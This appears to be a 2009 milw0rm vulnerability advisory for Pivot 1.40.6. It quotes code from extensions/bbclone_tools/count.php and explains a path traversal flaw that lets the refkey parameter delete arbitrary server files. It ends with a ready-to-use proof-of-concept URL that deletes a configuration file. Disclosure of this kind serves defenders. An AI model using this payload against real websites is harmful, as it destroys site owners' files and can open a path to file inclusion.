69 lines
No EOL
1.5 KiB
Text
69 lines
No EOL
1.5 KiB
Text
Pivot 1.40.6 Remote File Delete
|
|
|
|
Alfons Luja
|
|
|
|
Vuln :
|
|
|
|
extensions/bbclone_tools/hr_conf.php line 20
|
|
|
|
...
|
|
|
|
$bbclone_debug = false; //is never change
|
|
|
|
...
|
|
|
|
=========================================================
|
|
|
|
extensions/bbclone_tools/count.php
|
|
|
|
|
|
...
|
|
|
|
|
|
if ( ($_GET["refkey"]!="") && file_exists("$refkeydir/".$_GET["refkey"])) { [1]
|
|
|
|
if ($bbclone_debug==true) { echo "Refkey found..<br />"; }
|
|
|
|
// Getting the time offset between the web and file server (if there is any)
|
|
$offset = timediffwebfile($bbclone_debug);
|
|
|
|
if ((time() - filectime("$refkeydir/".$_GET["refkey"])) < (1000+$offset)) { [2]
|
|
|
|
include("do_count.php");
|
|
if ($bbclone_debug!=true) {
|
|
header("content-type:image/gif");
|
|
readfile("pixel.gif");
|
|
} else {
|
|
echo "Counted normally";
|
|
}
|
|
die();
|
|
|
|
} else if ($bbclone_debug==true) {
|
|
echo "too old!";
|
|
}
|
|
|
|
if ($bbclone_debug!=true) { [3]
|
|
unlink("$refkeydir/".$_GET["refkey"]);
|
|
}
|
|
}
|
|
|
|
...
|
|
|
|
|
|
1] . We can put existent file
|
|
|
|
2] . Time dependences
|
|
If current time - last modification time < 1000 + $offset (usually 1001,1002 not more)
|
|
We must wait a moment other way 'exploit dosent work'
|
|
|
|
3] . $bbclone_debug is always false so if condition from point [2] == false
|
|
We can delete some file
|
|
|
|
|
|
If register globals is ON we can using this bug to include some file
|
|
|
|
poc :
|
|
|
|
http://www.pentagon.gov/~pivot_1406_full/extensions/bbclone_tools/count.php?refkey=../../../extensions/bbclone_tools/hr_conf.php
|
|
|
|
# milw0rm.com [2009-03-18] |